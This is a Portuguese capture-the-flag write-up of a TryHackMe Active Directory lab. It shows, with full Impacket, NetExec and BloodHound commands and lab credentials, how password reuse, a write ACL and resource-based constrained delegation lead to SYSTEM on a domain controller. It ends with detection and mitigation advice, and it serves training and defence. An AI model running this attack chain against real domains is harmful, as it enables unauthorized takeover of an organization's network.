Proxy - Do Credential Reuse ao SYSTEM no Domain Controller (RBCD)
Nesta room do TryHackMe, parti de uma conta comum do domínio Windows e terminei com SYSTEM no Domain Controller. O caminho não foi uma vulnerabilidade do kernel nem a senha do Administrator: foi a combinação de reutilização de senha, uma ACL específica e delegação Kerberos.
Organizei o que realmente funcionou e os desvios que ensinaram quando insistir em uma pista e quando voltar à enumeração.
Ambiente de laboratório autorizado. IPs e credenciais são desta execução do TryHackMe; mudam após reset. Alguns comandos alteram objetos do Active Directory.
Índice
| Etapa | Conteúdo |
|---|---|
| Reconhecimento | 1. Mapa · 2. Identificar DC e acesso · 3. Enumerar usuários |
| Descoberta | 4. KeePass e Credential Reuse · 5. BloodHound e ACL |
| Escalação | 6. Pré-requisitos · 7. Configurar RBCD · 8. Tickets S4U · 9. SMB e SYSTEM |
| Referência | 10. Desvios · 11. Ferramentas · 12. Diagnóstico · 13. Checklist · 14. Defesa |
1. Contexto e mapa da room
| Item | Valor |
|---|---|
| Domínio | ctf.local |
| DC | DC01.ctf.local, IP 10.64.163.15 |
| SO | Windows Server 2019, build 17763 |
| Acesso inicial deste percurso | j.smith |
| Conta que permitiu escalar | r.williams |
| Objetivo confirmado | Administrator via CIFS, shell SYSTEM |
j.smith (usuário comum)
|
+--> KeePass --> Helpdesk01!
|
Credential Reuse
v
r.williams
|
AddAllowedToAct em DC01$
|
MachineAccountQuota = 10
|
LABPC01$
|
RBCD no DC01$
|
S4U2Self/Proxy
|
Ticket CIFS/Administrator
|
SMB (Pwn3d!) + PsExec
|
SYSTEM
Na investigação inicial também encontrei o share IT-Shared acessível para Guest (READ/WRITE), e uma automação que executava scripts como CTF\svc.scanner. Foram pistas reais, mas não vou inventar a ligação entre elas e a obtenção de j.smith: a cadeia reproduzível abaixo começa com essa conta disponível.
2. Identificar o DC e validar acesso
2.1 Nmap: procurar os serviços certos
DC_IP=10.64.163.15
nmap -Pn -sT -sV --version-light \
-p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 \
"$DC_IP"
Principais resultados:
53/tcp DNS 88/tcp Kerberos 389/tcp LDAP
445/tcp SMB 3268/tcp GC 3389/tcp RDP
5985/tcp WinRM 9389/tcp ADWS Host: DC01
Domain: ctf.local
| Opção | Função |
|---|---|
-Pn |
Não depende de ping para iniciar a varredura |
-sT |
TCP Connect |
-sV |
Detecção de serviço/versão |
--version-light |
Testes de versão menos intensivos |
-p |
Portas selecionadas |
DNS, LDAP, Kerberos e SMB, junto aos detalhes do host, identificaram o Domain Controller. Porta aberta não significa vulnerabilidade. E -Pn não prova que todos os endereços escaneados estão ativos.
2.2 Validar credenciais
nxc smb "$DC_IP" -d ctf.local -u j.smith -p 'JSmith@IT2024'
nxc rdp "$DC_IP" -d ctf.local -u j.smith -p 'JSmith@IT2024'
SMB e RDP aceitaram a conta. Para abrir uma sessão:
xfreerdp /v:"$DC_IP" /u:j.smith /d:ctf.local \
/p:'JSmith@IT2024' /cert:ignore /dynamic-resolution
O NetExec serve para validar autenticação; o FreeRDP permite explorar os arquivos e ferramentas do Windows. Não confunda login RDP com privilégios administrativos, mesmo quando a ferramenta exibe mensagens chamativas.
3. Enumerar usuários e descobrir contas relevantes
Com um domínio identificado e credencial válida, prefiro obter contexto sobre usuários antes de tentar exploits locais.
nxc smb "$DC_IP" -d ctf.local \
-u j.smith -p 'JSmith@IT2024' --users
LDAP retorna descrição e grupos:
ldapsearch -x -LLL -H "ldap://$DC_IP" \
-D 'j.smith@ctf.local' -W \
-b 'DC=ctf,DC=local' \
'(&(objectCategory=person)(objectClass=user))' \
sAMAccountName description memberOf
| Opção | Explicação |
|---|---|
-x |
Bind LDAP simples |
-LLL |
Saída limpa |
-D / -W |
Conta e solicitação de senha |
-b |
Base de busca no domínio |
sAMAccountName |
Login |
description / memberOf |
Descrição e grupos |
Para investigar o usuário interessante:
ldapsearch -x -LLL -H "ldap://$DC_IP" \
-D 'j.smith@ctf.local' -W \
-b 'DC=ctf,DC=local' \
'(sAMAccountName=r.williams)' \
sAMAccountName memberOf description displayName
Retorno:
description: Help Desk Senior
memberOf: CN=sysadmin,CN=Users,DC=ctf,DC=local
memberOf: CN=Remote Desktop Users,CN=Builtin,DC=ctf,DC=local
sAMAccountName: r.williams
A descrição Help Desk Senior e o grupo personalizado sysadmin justificaram investigar a conta. O nome do grupo não prova que ela é Domain Admin. O que vale são as permissões efetivas.
4. KeePass e Credential Reuse
Durante o acesso autenticado, identifiquei um banco KeePass:
C:\Users\j.smith\Documents\Database.kdbx
Em outras rooms, procuro arquivos desse tipo nas pastas que posso ler, sem varrer o disco inteiro:
Get-ChildItem -Path "$env:USERPROFILE\Documents" -Filter '*.kdbx' -File -ErrorAction SilentlyContinue
Um arquivo
.kdbxé protegido. Encontrá-lo não significa conseguir descriptografá-lo. A investigação permitiu obter a senhaHelpdesk01!; como não registrei o método de desbloqueio, não vou inventar essa etapa.
Com uma senha relacionada a HelpDesk e uma conta Help Desk Senior, testei uma hipótese pontual de reutilização:
nxc smb "$DC_IP" -d ctf.local \
-u r.williams -p 'Helpdesk01!'
Resultado confirmado:
[+] ctf.local\r.williams:Helpdesk01!
Esse foi o pivot real da room. Em vez de tentar milhões de senhas, utilizei informação já obtida em uma conta relacionada.
Acessei a sessão dessa conta:
xfreerdp /v:"$DC_IP" /u:r.williams /d:ctf.local \
/p:'Helpdesk01!' /cert:ignore /dynamic-resolution
No Windows:
whoami
whoami /groups
whoami /priv
O token não mostrava SeDebugPrivilege ou SeImpersonatePrivilege. Porém um usuário sem privilégios locais elevados pode ter direitos de escrita relevantes no Active Directory.
5. BloodHound e confirmação da ACL
A AttackBox já tinha BloodHound Legacy (Electron + Neo4j), diferente do BloodHound CE. Usei o coletor compatível com Legacy.
pipx install bloodhound
cd /root/reports
/root/.local/bin/bloodhound-python \
-u r.williams -p 'Helpdesk01!' \
-d ctf.local \
-dc dc01.ctf.local \
-gc dc01.ctf.local \
-ns 10.64.163.15 \
--dns-tcp --dns-timeout 15 \
-c DCOnly --zip
Importei o ZIP no BloodHound, marquei R.WILLIAMS@CTF.LOCAL como Owned e procurei caminhos para objetos críticos. A relação encontrada foi:
R.WILLIAMS@CTF.LOCAL
|
| AddAllowedToAct
v
DC01.CTF.LOCAL
Consulta Cypher para isolar o relacionamento:
MATCH p=(u:User {name:'R.WILLIAMS@CTF.LOCAL'})
-[:AddAllowedToAct]->(c:Computer {name:'DC01.CTF.LOCAL'})
RETURN p
A seção Windows Abuse do BloodHound explica a relação; para ter certeza, conferi a ACE no AD.
Import-Module ActiveDirectory
$dn = (Get-ADComputer DC01).DistinguishedName
(Get-Acl "AD:\$dn").Access |
Where-Object {
$_.IdentityReference -match 'r\.williams|sysadmin'
} |
Select-Object IdentityReference,ActiveDirectoryRights,ObjectType,IsInherited |
Format-List
Resultado real:
IdentityReference : CTF\r.williams
ActiveDirectoryRights : WriteProperty
ObjectType : 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79
IsInherited : False
O GUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79 identifica o atributo msDS-AllowedToActOnBehalfOfOtherIdentity, relacionado à Resource-Based Constrained Delegation (RBCD).
| Conceito | Significado |
|---|---|
| ACL / ACE | Lista de permissões / entrada específica |
| WriteProperty | Direito de escrever uma propriedade do objeto |
| AddAllowedToAct | Relação BloodHound para configurar RBCD |
| RBCD | O recurso de destino controla quais identidades podem atuar em seu nome |
| DC01$ | Conta de máquina do Domain Controller |
Conclusão da enumeração: r.williams não precisava ser Domain Admin: tinha direito de escrita no atributo preciso que controla a delegação no objeto DC01$.
6. Pré-requisitos: por que RBCD seria possível?
Além da permissão AddAllowedToAct, precisava de uma conta de serviço/computador sob controle.
Get-ADObject -Identity 'DC=ctf,DC=local' -Properties 'ms-DS-MachineAccountQuota' |
Select-Object -ExpandProperty 'ms-DS-MachineAccountQuota'
Resultado: 10. Essa é a cota padrão para criação de computadores; ainda foi necessário confirmar a criação de fato.
O exemplo New-MachineAccount mostrado pelo BloodHound é do Powermad (PowerShell). O addcomputer.py realiza a etapa equivalente pelo Impacket (Linux). Verifique a versão instalada com addcomputer.py -h, não copie parâmetros incompletos de uma página.
7. Conta de computador e configuração RBCD
Na AttackBox:
addcomputer.py \
-dc-ip 10.64.163.15 \
-dc-host DC01.ctf.local \
-computer-name 'LABPC01$' \
-computer-pass 'LabPC2026!Strong' \
'ctf.local/r.williams:Helpdesk01!'
Retorno: Successfully added machine account LABPC01$.
| Parâmetro | Função |
|---|---|
-computer-name |
Nome da conta de máquina criada |
-computer-pass |
Senha sob nosso controle |
-dc-ip / -dc-host |
Identificam o DC |
domínio/usuário:senha |
Conta que solicita a criação |
O $ final é típico das contas de máquina.
Para configurar a delegação no objeto DC01$:
rbcd.py \
-dc-ip 10.64.163.15 \
-action write \
-delegate-from 'LABPC01$' \
-delegate-to 'DC01$' \
'ctf.local/r.williams:Helpdesk01!'
Resultado: Delegation rights modified successfully!.
-delegate-from identifica a conta autorizada a delegar. -delegate-to é o recurso de destino. A escrita modifica um atributo sensível no AD.
Conferência:
rbcd.py \
-dc-ip 10.64.163.15 \
-action read \
-delegate-to 'DC01$' \
'ctf.local/r.williams:Helpdesk01!'
Resultado: LABPC01$ apareceu autorizada no objeto DC01$.
8. S4U2Self, S4U2Proxy e Pass-the-Ticket
| Conceito | Significado |
|---|---|
| TGT | Ticket para pedir outros tickets ao KDC |
| TGS | Ticket destinado a um serviço específico |
| SPN | Identificador Kerberos de serviço, como cifs/DC01.ctf.local |
| S4U2Self | Serviço solicita ticket representando outro usuário |
| S4U2Proxy | Obtém ticket para o serviço de destino, conforme a delegação |
| ccache | Arquivo de cache Kerberos usado pelo Linux |
Agora que a delegação estava configurada, solicitei um ticket CIFS para Administrator, autenticando como a máquina que eu controlava:
cd /root/reports
getST.py \
-spn 'cifs/DC01.ctf.local' \
-impersonate Administrator \
-dc-ip 10.64.163.15 \
'ctf.local/LABPC01$:LabPC2026!Strong'
Resultado:
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache
-spn define o serviço; -impersonate, a identidade representada; -dc-ip, o KDC. Um aviso CCache file is not found. Skipping... não impediu o sucesso, porque a ferramenta obteve o TGT necessário.
Ativei o cache para os próximos comandos:
export KRB5CCNAME="$PWD/Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache"
klist -c "$KRB5CCNAME"
Saída comprovada:
Default principal: Administrator@ctf.local
Valid starting: 10/25/26 15:04:34
Expires: 10/26/26 01:04:34
Service: cifs/DC01.ctf.local@CTF.LOCAL
export define uma variável de ambiente no shell e nos processos filhos: não modifica o ticket, não o renova e não instala nada no Windows. Esse cache continha um ticket CIFS, não a senha ou um TGT universal de Administrator.
9. Acesso administrativo, PsExec e flag
Validar o ticket no SMB:
nxc smb DC01.ctf.local \
-d ctf.local \
-u Administrator \
-k --use-kcache
Resultado:
[+] ctf.local\Administrator from ccache (Pwn3d!)
Depois, obter shell remoto:
psexec.py -k -no-pass \
-dc-ip 10.64.163.15 \
ctf.local/Administrator@DC01.ctf.local
O Impacket encontrou ADMIN$ gravável, enviou um executável temporário e criou/iniciou um serviço pelo Service Control Manager. PsExec deixa artefatos de serviço, não é uma simples consulta.
No prompt remoto:
whoami
whoami /priv
hostname
Resposta:
nt authority\system
SeDebugPrivilege Enabled
SeImpersonatePrivilege Enabled
DC01
Distinção importante: a autenticação usou um ticket de Administrator, mas o executável de serviço criado pelo PsExec rodou como LocalSystem. Por isso o shell ficou como SYSTEM.
A flag:
cd C:\Users\Administrator\Desktop
type flag.txt
THM{RBCD_S4U2Pr0xy_T1ck3t_Th3ft_2_DA}
Resultado comprovado: RBCD aceita, ticket S4U emitido, autenticação administrativa SMB, execução remota como SYSTEM e flag encontrada.
10. Caminhos investigados que não avançaram
Não é necessário repetir todos os erros, mas é útil registrar por que uma hipótese foi abandonada.
| Pista | Evidência encontrada | Por que não resolvia |
|---|---|---|
| Kerberoasting: svc.helpdesk | TGS $krb5tgs$23$; Hashcat -m 13100 com rockyou não recuperou senha |
Material de cracking não equivale a senha ou sessão |
| svc.mssql | Conta de serviço com SPNs MSSQL e associação a Backup Operators | Pista interessante, sem cadeia comprovada |
| Delegação tradicional | svc.helpdesk tinha TrustedToAuthForDelegation=True, mas lista msDS-AllowedToDelegateTo vazia |
Não identificamos um caminho de delegação utilizável |
| Mimikatz | privilege::debug falhou; sekurlsa::logonpasswords retornou acesso negado |
Sessão comum não tinha privilégios para ler LSASS |
| PrivescCheck / WES-NG / Spooler | Permissões e possíveis CVEs em build antigo | Hipótese ou CVE listado não é exploração confirmada |
| Tarefa de HelpDesk | Eventos 129/200 mostraram \HelpDesk\HelpDesk-TicketRenewal; schtasks não a listou |
Não consegui demonstrar escrita ou execução controlável |
| IT-Shared / svc.scanner | Share Guest e scanner de scripts executados periodicamente | Achados da investigação, mas não constituíram a cadeia RBCD |
| Ticket antigo de svc.helpdesk | KRB-CRED no arquivo HelpDesk-Auth.b64 |
TGT expirado, sem renovação possível em outubro de 2026 |
10.1 Por que o arquivo HelpDesk-Auth.b64 não serviu?
No Desktop de r.williams, um aviso dizia que a automação HelpDesk executava periodicamente e mantinha temporários em C:\Windows\Temp. Havia o arquivo HelpDesk-Auth.b64, legível por r.williams.
Os primeiros bytes Base64 decodificados indicaram formato KRB-CRED. Depois da conversão para .ccache:
ticketConverter.py HelpDesk-Auth.kirbi HelpDesk-Auth.ccache
klist -c HelpDesk-Auth.ccache
O cache era de svc.helpdesk@CTF.LOCAL, para krbtgt/ctf.local. Portanto TGT, não hash Kerberoasting.
Início: 20/05/2026
Expiração: 21/05/2026
Renovação: até 27/05/2026
A execução da room foi em 25/10/2026. Converter formato de arquivo não restaura a validade de um ticket expirado.
10.2 Como identifiquei a tarefa mesmo sem acesso direto?
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-TaskScheduler/Operational'
Id=129,200
StartTime=(Get-Date).AddDays(-1)
} | Where-Object {
$_.Message -match 'HelpDesk|powershell'
} | Select-Object TimeCreated,Id,Message | Format-List
Os eventos expuseram a execução de \HelpDesk\HelpDesk-TicketRenewal, mas o comando schtasks.exe /query retornou que não localizava o caminho. Não ver uma tarefa em uma ferramenta não prova que ela nunca existiu; permissões e ciclo de vida podem mudar a visibilidade.
10.3 Aprendizado do desvio
Se já tenho uma credencial válida, não preciso começar sempre por CVEs, Mimikatz ou cracking. No AD, grupos, ACLs e relações podem oferecer um caminho muito mais direto.
11. Ferramentas: quando usar e como interpretar
| Ferramenta | Serve para | Limitação |
|---|---|---|
| Nmap | Serviços e portas | Serviço exposto não prova falha |
| NetExec | Validar credenciais e privilégios de rede | Resultado depende do protocolo |
| LDAP / módulo AD | Contas, grupos, atributos e políticas | Permissões e escopo de busca importam |
| BloodHound | Relacionamentos entre objetos e identidades | Precisa confirmar ACL e pré-requisitos |
| addcomputer.py | Criar uma conta de máquina | Muda o domínio; pode falhar por ACL/cota |
| rbcd.py | Ler ou escrever delegação RBCD | A ação write altera segurança |
| getST.py | Emitir ticket Kerberos para serviço/S4U | Requer SPN e delegação válidos |
| klist | Inspecionar principal, SPN e datas | Não testa se serviço aceita o ticket |
| psexec.py | Execução remota administrativa | Usa compartilhamento e cria serviço |
Operadores e parâmetros frequentes
| Sintaxe | Significado |
|---|---|
Barra \ ao final da linha Bash |
Continua o comando; não pode haver espaços depois |
| Crase PowerShell | Continuação de linha em scripts PowerShell |
$ em LABPC01$ |
Parte do nome da conta de máquina |
-k |
Autenticação Kerberos |
-no-pass |
Não solicita senha |
--use-kcache |
Usa o cache Kerberos no NetExec |
-action read/write |
Consultar/alterar RBCD |
-impersonate |
Identidade representada no fluxo S4U |
export KRB5CCNAME=... |
Variável de ambiente que aponta para o cache |
Erro comum no Linux: command not found não quer dizer necessariamente que o software não existe. Verifique command -v ferramenta, type -a ferramenta, pipx list e possíveis nomes impacket-ferramenta. No laboratório havia instalações gerenciadas por pyenv e pipx, e a VM zerava após reset.
12. Se não encontrar nada, onde procurar?
Credencial válida, mas sem caminho de privilégio
No Windows:
whoami /all
Get-ADUser r.williams -Properties Description,MemberOf |
Select-Object SamAccountName,Description,MemberOf
Get-ADComputer -Filter * -Properties DNSHostName |
Select-Object Name,DNSHostName
Depois, no BloodHound:
- Marque como Owned só as contas realmente controladas.
- Procure caminhos até objetos importantes, não apenas até grupos com nomes interessantes.
- Analise permissões como
GenericAll,GenericWrite,WriteDacleAddAllowedToAct. - Confirme a ACE no AD. Relações como
Containsindicam estrutura, não privilégio explorável.
BloodHound não resolve o DC/LDAP
dig @10.64.163.15 dc01.ctf.local A +short
nc -vz -w 3 10.64.163.15 389
type -a bloodhound-python
pipx list
O erro Failed to resolve LDAP server IP apareceu mesmo após editar /etc/hosts: o coletor faz consultas DNS próprias. Confira os argumentos -dc, -gc, -ns e --dns-tcp, e confirme qual instalação do Python está executando.
BloodHound aponta direito, mas eu não consigo usar
Consulte o objeto real e a ACL correspondente:
$dn = (Get-ADComputer DC01).DistinguishedName
(Get-Acl "AD:\$dn").Access |
Select-Object IdentityReference,ActiveDirectoryRights,ObjectType,IsInherited
Observe se o direito é herdado, específico a um atributo ou concedido a um grupo. Uma aresta no grafo não substitui a validação.
Ticket foi emitido, mas SMB falha
echo "$KRB5CCNAME"
klist -c "$KRB5CCNAME"
getent hosts DC01.ctf.local
Verifique data/horário, principal, SPN, hostname exato e resolução DNS. Um ticket cifs/DC01 é específico daquele serviço e host, não de qualquer protocolo da rede.
Regra de estudo: diferenciar indício → permissão confirmada → técnica executada → impacto demonstrado. Isso evita confundir hipótese de CVE com acesso obtido.
13. Checklist reutilizável para futuras rooms AD
| Fase | O que procurar | Ferramenta |
|---|---|---|
| 1. Escopo | Hosts, domínio, controlador, DNS | Nmap, registros SRV |
| 2. Autenticação | Contas e serviços onde o login funciona | NetExec, RDP |
| 3. Enumeração | Usuários, descrições, grupos, SPNs | LDAP, AD PowerShell |
| 4. Credenciais | Arquivos de configuração e bancos acessíveis | Busca restrita a pastas legíveis |
| 5. Reutilização | Senhas já obtidas em contas relacionadas | Uma validação pontual; conferir lockout |
| 6. Relações AD | ACLs e caminhos de controle | BloodHound + Get-Acl |
| 7. Pré-requisitos | MAQ, delegação, conta de máquina controlada | Atributos AD, Impacket |
| 8. Execução | Alteração confirmada e ticket obtido | rbcd.py, getST.py |
| 9. Evidência | Ticket aceito e contexto do shell | klist, nxc, whoami |
| 10. Documentação | Comandos, saídas, aprendizados e limites | Notas do exercício |
O que mais economiza tempo: antes de tentar escalar com exploit local, pergunto se minha conta já pode modificar algum objeto importante do domínio.
14. Detecção, mitigação e referências
Três condições facilitaram a escalação:
- Senha reutilizada: o segredo relacionado a HelpDesk autenticou em
r.williams. - Permissão excessiva no DC:
r.williamspodia modificar o atributo RBCD deDC01$. - MachineAccountQuota = 10: permitiu criar uma conta de máquina controlada.
Em um ambiente real, as medidas centrais seriam: exigir senhas distintas e gestão de segredos; revisar delegações e ACEs dos controladores de domínio; evitar permissões de escrita RBCD desnecessárias; limitar ingresso/criação de computadores; avaliar MachineAccountQuota=0 se o ingresso for gerenciado, sem depender só dessa configuração.
Eventos que merecem correlação
| Event ID | O que investigar |
|---|---|
| 4741 | Nova conta de computador |
| 5136 | Modificação de objeto no AD, incluindo possível alteração de atributo RBCD |
| 4769 | Requisições Kerberos de ticket de serviço |
| 4624 | Logon no host |
| 7045 | Serviço instalado remotamente, compatível com o comportamento PsExec |
A visibilidade depende de auditoria habilitada. Um evento isolado não prova comprometimento. Uma sequência nova máquina → alteração RBCD → tickets incomuns → SMB administrativo → novo serviço merece atenção.
Material complementar
- Meu guia: Active Directory — Enumeração e Autenticação
- Meu walkthrough: Checkmate — Quebrando senhas!
- Impacket — addcomputer.py
- Impacket — rbcd.py
- Impacket — getST.py
- Microsoft — Evento 4741: computer account created
- Australian Cyber Security Centre — Active Directory compromises
O principal aprendizado da Proxy: Active Directory não é apenas senha e grupo administrativo. Relações entre objetos também concedem poder. Neste laboratório, uma credencial reutilizada deu acesso a uma ACE específica; o RBCD transformou essa permissão em um ticket Kerberos válido; o SMB e o PsExec confirmaram o impacto com SYSTEM no Domain Controller.